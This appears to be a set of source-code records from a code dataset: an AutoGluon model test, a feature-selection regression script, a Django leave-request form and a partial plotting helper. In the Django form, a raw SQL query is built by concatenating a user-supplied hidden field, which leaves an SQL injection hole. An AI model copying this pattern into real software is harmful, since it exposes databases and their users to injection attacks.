645, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 668, "usage_type": "argument"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 669, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 669, "usage_type": "name"}, {"api_name": "matplotlib.pyplot", "line_number": 672, "usage_type": "argument"}, {"api_name": "{'gridspec': 'matplotlib.gridspec', 'pickle': 'pickle'}", "line_number": 677, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 679, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 679, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 680, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 680, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 686, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 686, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 687, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 687, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 688, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 688, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 692, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 692, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 694, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 694, "usage_type": "name"}, {"api_name": "{'gridspec': 'matplotlib.gridspec', 'pickle': 'pickle'}", "line_number": 698, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 700, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 700, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 701, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 701, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 707, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 707, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 708, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 708, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 709, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 709, "usage_type": "name"}]} {"seq_id": "173709892", "text": "import mxnet as mx\nfrom autogluon.model_zoo import get_model\n\ndef test_image_classification_models():\n model_list = ['standford_dog_resnet152_v1', 'standford_dog_resnext101_64x4d',\n 'efficientnet_b0', 'efficientnet_b1', 'efficientnet_b2',\n 'efficientnet_b3', 'efficientnet_b4', 'efficientnet_b5',\n 'efficientnet_b6', 'efficientnet_b7']\n x = mx.nd.random.uniform(shape=(1, 3, 224, 224))\n for model_name in model_list:\n # get the model\n net = get_model(model_name, pretrained=True)\n # test inference\n y = net(x)\n\nif __name__ == '__main__':\n test_image_classification_models()\n", "sub_path": "tests/unittests/test_model_zoo.py", "file_name": "test_model_zoo.py", "file_ext": "py", "file_size_in_byte": 665, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "mxnet.nd.random.uniform", "line_number": 9, "usage_type": "call"}, {"api_name": "mxnet.nd", "line_number": 9, "usage_type": "attribute"}, {"api_name": "autogluon.model_zoo.get_model", "line_number": 12, "usage_type": "call"}]} {"seq_id": "149636149", "text": "import pandas as pd\nimport numpy as np\nimport sys\nimport os\nimport random\n\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.metrics import cohen_kappa_score\nfrom sklearn.metrics import mean_absolute_error\nfrom sklearn.metrics import r2_score\n\nfrom statsmodels import robust\nfrom scipy import stats\n\nfrom sklearn.model_selection import KFold\nfrom sklearn import ensemble\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.neural_network import MLPRegressor\nfrom sklearn.svm import SVR\nfrom sklearn.linear_model import Lasso\nimport lightgbm as lgb\n\n\n# Parameters\nLABEL_COLUMN_NAME = '7444'\nUNWANTED_COLUMNS = ['empresa']\n\nN_FOLDS = 5\nRANDOM_STATE = 1\n\ndef eval_bootstrap(df, features, md):\n X = df[features].values\n y = df[LABEL_COLUMN_NAME].values\n\n aa = []\n bb = []\n cc = []\n dd = []\n for i in range(1,5):\n a = []\n b = []\n c = []\n d = []\n cv = KFold(n_splits=N_FOLDS, shuffle=True, random_state=i)\n for (train, val) in cv.split(X, y):\n if md == 1: regressor = ensemble.GradientBoostingRegressor(n_estimators = 30, max_depth = 4, min_samples_split = 2, learning_rate = 0.1, loss = 'ls', random_state = RANDOM_STATE)\n elif md == 2: regressor = ensemble.RandomForestRegressor(n_estimators = 30, max_depth = 10, min_samples_split = 4, random_state = RANDOM_STATE)\n elif md == 3: regressor = SVR(kernel='rbf', C=100, gamma=0.1, epsilon=.1)\n elif md == 4: regressor = MLPRegressor(hidden_layer_sizes=(20,30,30,5,), batch_size = 10, activation='relu', random_state = RANDOM_STATE)\n elif md == 5: regressor = LinearRegression()\n elif md == 6: regressor = Lasso(alpha=0.1, random_state = RANDOM_STATE)\n elif md == 7: regressor = lgb.LGBMRegressor()\n\n regressor = regressor.fit(X[train], y[train])\n pred = regressor.predict(X[val])\n\n rmse = np.sqrt(np.mean((pred - y[val])**2))\n mae = mean_absolute_error(pred, y[val])\n r2 = r2_score(pred, y[val])\n kappa = cohen_kappa_score(np.round(pred), np.round(y[val]), weights='quadratic')\n\n a.insert(len(a), rmse)\n b.insert(len(b), mae)\n c.insert(len(c), r2)\n d.insert(len(d), kappa)\n\n aa.append(np.mean(a))\n bb.append(np.mean(b))\n cc.append(np.mean(c))\n dd.append(np.mean(d))\n return np.mean(aa),np.mean(bb),np.mean(dd)\n\ndef back_one(df, f, md):\n v = 0\n f1 = []\n f2 = []\n for i in f:\n f1.insert(len(f1), i)\n f2.insert(len(f2), i)\n A,B,C = eval_bootstrap(df, f1, md)\n z = A\n for i in f:\n f1.remove(i)\n A,B,C = eval_bootstrap(df, f1, md)\n print(\"%s,%f,%f,%f\" % (f1,A,B,C))\n if A < z:\n v = 1\n z = A\n f2 = []\n for j in f1:\n f2.insert(len(f2), j)\n f1.insert(len(f1), i)\n return v,f2\n\n# Reads dataset\ndf = pd.read_csv(sys.argv[1])\ndf.dropna(axis=0, subset=[LABEL_COLUMN_NAME], inplace=True)\n\nRANDOM_STATE = 1\nall_features = list(df.columns)\n\nf = []\nfor x in UNWANTED_COLUMNS:\n if x in all_features: f.insert(len(f), x)\nfor x in f + [LABEL_COLUMN_NAME]:\n all_features.remove(x)\n\nmd = int(sys.argv[2])\nf = []\ni = 0\nfor f1 in all_features:\n if i == 50: break\n if f1 in f: continue\n k = 1000\n x = f1\n i = i + 1\n j = 0\n for f2 in all_features:\n if f2 in f:\n continue\n j = j + 1\n f.insert(len(f), f2)\n A,B,C = eval_bootstrap(df, f, md)\n print(\"%s,%f,%f,%f\" % (f,A,B,C))\n z = A\n f.remove(f2)\n sys.stdout.flush()\n if z < k:\n x = f2\n k = z\n f.insert(len(f), x)\n if i > 2:\n v,f = back_one(df, f, md)\n while v == 1:\n v,f = back_one(df, f, md)\n i = len(f)\n", "sub_path": "src/tt.py", "file_name": "tt.py", "file_ext": "py", "file_size_in_byte": 3867, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sklearn.model_selection.KFold", "line_number": 44, "usage_type": "call"}, {"api_name": "sklearn.ensemble.GradientBoostingRegressor", "line_number": 46, "usage_type": "call"}, {"api_name": "sklearn.ensemble", "line_number": 46, "usage_type": "name"}, {"api_name": "sklearn.ensemble.RandomForestRegressor", "line_number": 47, "usage_type": "call"}, {"api_name": "sklearn.ensemble", "line_number": 47, "usage_type": "name"}, {"api_name": "sklearn.svm.SVR", "line_number": 48, "usage_type": "call"}, {"api_name": "sklearn.neural_network.MLPRegressor", "line_number": 49, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 50, "usage_type": "call"}, {"api_name": "sklearn.linear_model.Lasso", "line_number": 51, "usage_type": "call"}, {"api_name": "lightgbm.LGBMRegressor", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 57, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_absolute_error", "line_number": 58, "usage_type": "call"}, {"api_name": "sklearn.metrics.r2_score", "line_number": 59, "usage_type": "call"}, {"api_name": "sklearn.metrics.cohen_kappa_score", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 71, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 96, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 96, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 108, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 127, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 127, "usage_type": "attribute"}]} {"seq_id": "184303807", "text": "import datetime\nimport time\nimport calendar\nfrom django.core.exceptions import ValidationError\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.conf import settings\nfrom datetime import datetime, timedelta\nfrom django import forms\nfrom leave.models import LeavePlan, LeaveHoliday, LeaveEmployee, LeaveType, EmployeeInstance\nfrom django.forms.widgets import HiddenInput\nfrom django.contrib.auth.models import User\nfrom decimal import Decimal\nfrom django.db.models import Sum\nfrom .rules import *\nfrom django.utils.dateparse import parse_datetime\nfrom django import forms\nfrom django.template.defaultfilters import filesizeformat\nfrom django.forms import Textarea\n\n\ncurrent_year = datetime.now().year\nstandard_start_working_hour = 0\nstandard_stop_working_hour = 23\n\nclass EmployeeM1247Form(forms.ModelForm):\n start_working_hour = 0\n stop_working_hour = 59\n hour_range = ((0,'00'),(1,'01'),(2,'02'),(3,'03'),(4,'04'),(5,'05'),(6,'06'),(7,'07'),(8,'08'),(9,'09'),(10,'10'),(11,'11'),(12,'12'),(13,'13'),(14,'14'),(15,'15'),(16,'16'),(17,'17'),(18,'18'),(19,'19'),(20,'20'),(21,'21'),(22,'22'),(23,'23'))\n minute_range = ((0,'00'),(30,'30'),(59,'59'))\n\n leave_type = forms.ModelChoiceField(label=_('Select Leave Type'), queryset=None, required=True)\n\n start_date = forms.DateField(label=_('Start'), required=True, error_messages={'required': 'กรุณาป้อนข้อมูลวันที่ลา'})\n start_hour = forms.IntegerField(widget=forms.Select(choices=hour_range))\n start_minute = forms.IntegerField(widget=forms.Select(choices=minute_range))\n\n end_date = forms.DateField(label=_('End'), required=True, error_messages={'required': 'กรุณาป้อนข้อมูลลาถึงวันที่'}) \n end_hour = forms.IntegerField(widget=forms.Select(choices=hour_range))\n end_minute = forms.IntegerField(widget=forms.Select(choices=minute_range))\n\n employee_type = forms.CharField(required=False, widget=forms.HiddenInput(), initial=\"M1247\")\n document = forms.FileField(required=False)\n leave_reason = forms.CharField(required=False, widget=forms.Textarea(attrs={'rows': 2, 'cols': 20}), max_length=200)\n\n search_emp_id = forms.CharField(widget=forms.HiddenInput())\n\n class Meta:\n model = EmployeeInstance\n fields = ['start_date', 'end_date', 'leave_type', 'lve_act', 'lve_act_hr', 'document', 'leave_reason']\n\n def __init__(self, *args, **kwargs):\n self.user = kwargs.pop('user')\n super(EmployeeM1247Form, self).__init__(*args, **kwargs)\n\n default_end_date = datetime.now()+timedelta(days=1)\n self.fields['leave_type'].widget.attrs={'class': 'form-control'}\n self.fields['leave_type'].queryset=LeaveType.objects.filter(leaveplan__emp_id=self.user.username, leaveplan__lve_year=current_year) \n\n self.fields['start_date'].widget.attrs={'class': 'form-control datepicker border-bottom-1 border-left-0 rounded-0 bg-white'}\n self.initial['start_date'] = datetime.now().strftime(\"%Y-%m-%d\")\n self.fields['start_date'].widget.attrs['placeholder'] = \"YYYY-MM-DD\" \n self.fields['start_hour'].widget.attrs={'class': 'form-control border-top-0 border-left-1 rounded-0 bg-white'}\n self.initial['start_hour'] = 8\n self.fields['start_minute'].widget.attrs={'class': 'form-control border-top-0 rounded-0 bg-white'}\n self.initial['start_minute'] = 0\n\n self.fields['end_date'].widget.attrs={'class': 'form-control datepicker border-bottom-1 border-left-0 rounded-0 bg-white'}\n self.initial['end_date'] = datetime.now().strftime(\"%Y-%m-%d\") #default_end_date.strftime(\"%Y-%m-%d\")\n self.fields['end_date'].widget.attrs['placeholder'] = \"YYYY-MM-DD\" \n self.fields['end_hour'].widget.attrs={'class': 'form-control border-top-0 border-left-1 rounded-0 bg-white'}\n self.initial['end_hour'] = 17\n self.fields['end_minute'].widget.attrs={'class': 'form-control border-top-0 rounded-0 bg-white'}\n self.initial['end_minute'] = 0\n\n self.fields['leave_reason'].widget.attrs={'class': 'form-control rounded-0'}\n\n self.initial['search_emp_id'] = \"\"\n\n def clean(self):\n datetime_format = \"%Y-%m-%d %H:%M:%S\"\n cleaned_data = super(EmployeeM1247Form, self).clean()\n\n leave_type = self.cleaned_data.get('leave_type')\n leave_type_id = self.data.get('leave_type')\n\n start_date = self.cleaned_data.get('start_date')\n start_hour = self.cleaned_data.get('start_hour')\n start_minute = self.cleaned_data.get('start_minute')\n\n end_date = self.cleaned_data.get('end_date')\n end_hour = self.cleaned_data.get('end_hour')\n end_minute = self.cleaned_data.get('end_minute')\n \n document = self.cleaned_data.get('document')\n if document is not None:\n document_type = document.content_type.split('/')[1]\n print(\"type:\", document_type)\n if document_type in settings.CONTENT_TYPES:\n if document.size > settings.MAX_UPLOAD_SIZE:\n raise forms.ValidationError(_('ไฟล์แนบมีขนาดเกิน 5 เมกะไบท์'))\n else:\n raise forms.ValidationError(_('ระบบสามารถแนบไฟล์ (png, jpg, jpeg, pdf) ได้เท่านั้น'))\n\n # raise forms.ValidationError(_('Test'))\n\n search_emp_id = self.cleaned_data.get('search_emp_id')\n print(\"search_emp_id = \", search_emp_id)\n # username = self.user.username\n # username = search_emp_id\n employee_type = 'M1'\n\n d1 = str(start_date) + ' ' + str(start_hour) + ':' + str(start_minute) + ':00'\n d2 = str(end_date) + ' ' + str(end_hour) + ':' + str(end_minute) + ':00'\n start_date = datetime.strptime(d1, datetime_format)\n end_date = datetime.strptime(d2, datetime_format)\n\n if start_date != None:\n # ------------------------------------------------ \n # Check master remaining hour (Leave_Plan table)\n # ------------------------------------------------\n leave_plan = LeavePlan.objects.filter(emp_id__exact=search_emp_id).filter(lve_id__exact=leave_type_id).filter(lve_year=current_year).values_list('lve_plan', flat=True).get()\n print(\"Plan111 : \" + str(leave_plan))\n total_leave_quota_remaining_day = LeavePlan.objects.filter(emp_id__exact=search_emp_id).filter(lve_id__exact=leave_type_id).filter(lve_year=current_year).values_list('lve_miss', flat=True).get()\n print(\"remain day : \" + str(total_leave_quota_remaining_day))\n total_leave_quota_remaining_hour = LeavePlan.objects.filter(emp_id__exact=search_emp_id).filter(lve_id__exact=leave_type_id).filter(lve_year=current_year).values_list('lve_miss_hr', flat=True).get()\n print(\"remain hour : \" + str(total_leave_quota_remaining_hour))\n grand_total_leave_quota_remaining_hour = (total_leave_quota_remaining_hour + (total_leave_quota_remaining_day * 8))\n # 26d + 0h\n # 26 * 8 = 208\n print(\"total remain hour : \" + str(grand_total_leave_quota_remaining_hour))\n\n # ------------------------------------------------ \n # Check transaction remaing hour (leave_employeeinstance table) (filter status = p, a, F)\n # ------------------------------------------------ \n total_pending_approve_syncfail_status_history_day = EmployeeInstance.objects.filter(emp_id__exact=search_emp_id).filter(leave_type_id__exact=leave_type_id).filter(status__in=('p','a')).aggregate(sum=Sum('lve_act'))['sum'] or 0\n print(\"sync day : \" + str(total_pending_approve_syncfail_status_history_day))\n total_pending_approve_syncfail_status_history_hour = EmployeeInstance.objects.filter(emp_id__exact=search_emp_id).filter(leave_type_id__exact=leave_type_id).filter(status__in=('p','a')).aggregate(sum=Sum('lve_act_hr'))['sum'] or 0\n print(\"sync hour : \" + str(total_pending_approve_syncfail_status_history_hour))\n grand_total_pending_approve_syncfail_status_history_hour = total_pending_approve_syncfail_status_history_hour + (total_pending_approve_syncfail_status_history_day * 8)\n # 25d + 16h\n # (25 * 8) + 16 = 216\n print(\"total sync hour : \" + str(grand_total_pending_approve_syncfail_status_history_hour))\n\n grand_total_leave_quota_remaining_hour = grand_total_leave_quota_remaining_hour - grand_total_pending_approve_syncfail_status_history_hour\n print(\"grand : \" + str(grand_total_leave_quota_remaining_hour))\n\n # ------------------------------------------------\n # Check Standard Business Rules\n # ------------------------------------------------\n found_standard_error = checkM1247StandardBusinessRules(start_date, end_date, leave_type_id)\n if found_standard_error[0]:\n raise forms.ValidationError(_(found_standard_error[1]))\n \n # ------------------------------------------------ \n # Check M1247 Business Rules\n # ------------------------------------------------ \n found_m1247_error = checkM1247BusinessRules('M1247', start_date, end_date, leave_type_id)\n if found_m1247_error[0]:\n raise forms.ValidationError(found_m1247_error[1])\n else:\n total_leave_request_hour = found_m1247_error[1]\n\n \n #raise forms.ValidationError(total_leave_request_hour)\n print(str(total_leave_request_hour) + \" : total_leave_request_hour\")\n print(str(grand_total_leave_quota_remaining_hour) + \" : 1grand_total_leave_quota_remaining_hour\")\n\n # RULE 1: Check not over leave quota\n # print(\"rule1\", total_leave_request_hour, grand_total_leave_quota_remaining_hour, \"TEST\")\n\n if (total_leave_request_hour) > grand_total_leave_quota_remaining_hour:\n raise forms.ValidationError(_(\"เลือกวันเกินจำนวนสิทธิ์ที่กำหนด\"))\n else:\n if grand_total_leave_quota_remaining_hour <= 0:\n raise forms.ValidationError(_(\"ใช้วัน\" + str(leave_type) + \"หมดแล้ว\"))\n \n\n # RULE 2: Check duplicate leave\n #select id from leave_employeeinstance where not (start_date > @end_date OR end_date < @start_date)\n sql = \"select id from leave_employeeinstance where not (start_date > '\" + str(end_date.strftime(\"%Y-%m-%d %H:00\") + \"' or end_date < '\" + str(start_date.strftime(\"%Y-%m-%d %H:01\")) + \"')\") + \" and emp_id=\" + search_emp_id + \" and status in ('a','p','C','F')\"\n print(sql)\n print(search_emp_id, start_date, end_date)\n queryset = EmployeeInstance.objects.raw(\"select id from leave_employeeinstance where not (start_date > '\" + str(end_date.strftime(\"%Y-%m-%d %H:00\") + \"' or end_date < '\" + str(start_date.strftime(\"%Y-%m-%d %H:01\")) + \"')\") + \" and emp_id=\" + search_emp_id + \" and status in ('a','p','C','F')\")\n if len(queryset) > 0:\n raise forms.ValidationError(_(\"วันที่ \" + str(start_date) + \" - \" + str(end_date) + \" มีการลาไปแล้ว\"))\n\n\n # RULE 3: Check public holidays\n if checkLeaveTypeIncludePublicHoliday(leave_type_id):\n queryset = LeaveHoliday.objects.filter(hol_date__range=(start_date.strftime(\"%Y-%m-%d\"), end_date.strftime(\"%Y-%m-%d\"))).values_list('pub_th', flat=True)\n holiday_list = str(list(queryset)).replace(\"'\", '')\n if len(queryset) > 0:\n #raise forms.ValidationError({'start_date': \"เลือกวันลาตรงกับวันหยุด - \" + str(holiday_list)})\n raise forms.ValidationError(_(\"ช่วงวันลาตรงกับวันหยุดนักขัตฤกษ์ - \" + str(holiday_list)))\n\n # RULE 4: Check not allow over month\n if(checkLeaveRequestOverMonth(\"M1\", start_date, end_date)):\n #raise forms.ValidationError({'start_date': \"เลือกวันลาข้ามเดือน\"})\n raise forms.ValidationError(_(\"ไม่สามารถเลือกวันลาข้ามเดือน กรุณาแบ่งทำ 2 รายการแยกเดือนกัน\"))\n\n return cleaned_data \n", "sub_path": "eleaveadmin/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 12687, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "datetime.datetime.now", "line_number": 21, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 21, "usage_type": "name"}, {"api_name": "django.forms.ModelForm", "line_number": 25, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 25, "usage_type": "name"}, {"api_name": "django.forms.ModelChoiceField", "line_number": 31, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 31, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 31, "usage_type": "call"}, {"api_name": "django.forms.DateField", "line_number": 33, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 33, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 33, "usage_type": "call"}, {"api_name": "django.forms.IntegerField", "line_number": 34, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 34, "usage_type": "name"}, {"api_name": "django.forms.Select", "line_number": 34, "usage_type": "call"}, {"api_name": "django.forms.IntegerField", "line_number": 35, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 35, "usage_type": "name"}, {"api_name": "django.forms.Select", "line_number": 35, "usage_type": "call"}, {"api_name": "django.forms.DateField", "line_number": 37, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 37, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 37, "usage_type": "call"}, {"api_name": "django.forms.IntegerField", "line_number": 38, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 38, "usage_type": "name"}, {"api_name": "django.forms.Select", "line_number": 38, "usage_type": "call"}, {"api_name": "django.forms.IntegerField", "line_number": 39, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 39, "usage_type": "name"}, {"api_name": "django.forms.Select", "line_number": 39, "usage_type": "call"}, {"api_name": "django.forms.CharField", "line_number": 41, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 41, "usage_type": "name"}, {"api_name": "django.forms.HiddenInput", "line_number": 41, "usage_type": "call"}, {"api_name": "django.forms.FileField", "line_number": 42, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 42, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 43, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 43, "usage_type": "name"}, {"api_name": "django.forms.Textarea", "line_number": 43, "usage_type": "call"}, {"api_name": "django.forms.CharField", "line_number": 45, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 45, "usage_type": "name"}, {"api_name": "django.forms.HiddenInput", "line_number": 45, "usage_type": "call"}, {"api_name": "leave.models.EmployeeInstance", "line_number": 48, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 55, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 55, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 55, "usage_type": "call"}, {"api_name": "leave.models.LeaveType.objects.filter", "line_number": 57, "usage_type": "call"}, {"api_name": "leave.models.LeaveType.objects", "line_number": 57, "usage_type": "attribute"}, {"api_name": "leave.models.LeaveType", "line_number": 57, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 60, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 60, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 68, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 68, "usage_type": "name"}, {"api_name": "django.conf.settings.CONTENT_TYPES", "line_number": 98, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 98, "usage_type": "name"}, {"api_name": "django.conf.settings.MAX_UPLOAD_SIZE", "line_number": 99, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 99, "usage_type": "name"}, {"api_name": "django.forms.ValidationError", "line_number": 100, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 100, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 100, "usage_type": "call"}, {"api_name": "django.forms.ValidationError", "line_number": 102, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 102, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 102, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 114, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 114, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 115, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 115, "usage_type": "name"}, {"api_name": "leave.models.LeavePlan.objects.filter", "line_number": 121, "usage_type": "call"}, {"api_name": "leave.models.LeavePlan.objects", "line_number": 121, "usage_type": "attribute"}, {"api_name": "leave.models.LeavePlan", "line_number": 121, "usage_type": "name"}, {"api_name": "leave.models.LeavePlan.objects.filter", "line_number": 123, "usage_type": "call"}, {"api_name": "leave.models.LeavePlan.objects", "line_number": 123, "usage_type": "attribute"}, {"api_name": "leave.models.LeavePlan", "line_number": 123, "usage_type": "name"}, {"api_name": "leave.models.LeavePlan.objects.filter", "line_number": 125, "usage_type": "call"}, {"api_name": "leave.models.LeavePlan.objects", "line_number": 125, "usage_type": "attribute"}, {"api_name": "leave.models.LeavePlan", "line_number": 125, "usage_type": "name"}, {"api_name": "leave.models.EmployeeInstance.objects.filter", "line_number": 135, "usage_type": "call"}, {"api_name": "leave.models.EmployeeInstance.objects", "line_number": 135, "usage_type": "attribute"}, {"api_name": "leave.models.EmployeeInstance", "line_number": 135, "usage_type": "name"}, {"api_name": "django.db.models.Sum", "line_number": 135, "usage_type": "call"}, {"api_name": "leave.models.EmployeeInstance.objects.filter", "line_number": 137, "usage_type": "call"}, {"api_name": "leave.models.EmployeeInstance.objects", "line_number": 137, "usage_type": "attribute"}, {"api_name": "leave.models.EmployeeInstance", "line_number": 137, "usage_type": "name"}, {"api_name": "django.db.models.Sum", "line_number": 137, "usage_type": "call"}, {"api_name": "django.forms.ValidationError", "line_number": 152, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 152, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 152, "usage_type": "call"}, {"api_name": "django.forms.ValidationError", "line_number": 159, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 159, "usage_type": "name"}, {"api_name": "django.forms.ValidationError", "line_number": 172, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 172, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 172, "usage_type": "call"}, {"api_name": "django.forms.ValidationError", "line_number": 175, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 175, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 175, "usage_type": "call"}, {"api_name": "leave.models.EmployeeInstance.objects.raw", "line_number": 183, "usage_type": "call"}, {"api_name": "leave.models.EmployeeInstance.objects", "line_number": 183, "usage_type": "attribute"}, {"api_name": "leave.models.EmployeeInstance", "line_number": 183, "usage_type": "name"}, {"api_name": "django.forms.ValidationError", "line_number": 185, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 185, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 185, "usage_type": "call"}, {"api_name": "leave.models.LeaveHoliday.objects.filter", "line_number": 190, "usage_type": "call"}, {"api_name": "leave.models.LeaveHoliday.objects", "line_number": 190, "usage_type": "attribute"}, {"api_name": "leave.models.LeaveHoliday", "line_number": 190, "usage_type": "name"}, {"api_name": "django.forms.ValidationError", "line_number": 194, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 194, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 194, "usage_type": "call"}, {"api_name": "django.forms.ValidationError", "line_number": 199, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 199, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 199, "usage_type": "call"}]} {"seq_id": "600662939", "text": "# script concerned with evaluating the general accuracy, effects of geometry, pixelsize and fem grid selection.\n\nfrom pyTFM.utilities_TFM import round_flexible, gaussian_with_nans, make_display_mask, createFolder\nfrom pyTFM.plotting import *\nfrom pyTFM.graph_theory_for_cell_boundaries import mask_to_graph, find_path_circular\nimport sys\nfrom collections import defaultdict\nfrom skimage.morphology import binary_erosion\nfrom itertools import chain, product\nimport os\n\nsys.path.insert(0, '/home/user/Software/pyTFM/analysis_and_testing/')\nfrom simulating_deformation import *\nfrom playing_with_strains import *\nfrom evaluation_functions import cut_arrays\n\n\ndef display_mask(fig, mask, display_type, type=1, color=\"C1\", d=np.sqrt(2), ax=None, dm=True, lw=9):\n if not dm:\n return\n mask = mask.astype(int)\n if display_type == \"outline\":\n out_line = mask - binary_erosion((mask))\n out_line = custom_edge_filter(out_line) # risky\n out_line_graph, points = mask_to_graph(out_line, d=d)\n circular_path = find_path_circular(out_line_graph, 0)\n circular_path.append(circular_path[0]) # to plot a fully closed loop\n if type == 1:\n ax = fig.axes[0] if ax is None else ax\n ax.plot(points[circular_path][:, 1], points[circular_path][:, 0], \"--\", color=color, linewidth=lw)\n if type == 2:\n for ax in fig.axes:\n ax.plot(points[circular_path][:, 1], points[circular_path][:, 0], \"--\", color=color, linewidth=lw)\n\n if display_type == \"overlay\":\n\n mask_show = make_display_mask(mask)\n if type == 1:\n ax = fig.axes[0] if ax is None else ax\n ax.imshow(mask_show, alpha=0.4)\n if type == 2:\n for ax in fig.axes:\n ax.imshow(mask_show, alpha=0.4)\n\n if display_type == \"windowed\":\n\n mask_show = make_display_mask(mask)\n mask_window = copy.deepcopy(mask_show)\n mask_window[np.isnan(mask_show)] = 1\n mask_window[mask_show] = np.nan\n if type == 1:\n ax = fig.axes[0] if ax is None else ax\n ax.imshow(mask_window, alpha=0.4)\n if type == 2:\n for ax in fig.axes:\n ax.imshow(mask_window, alpha=0.4)\n\n\ndef 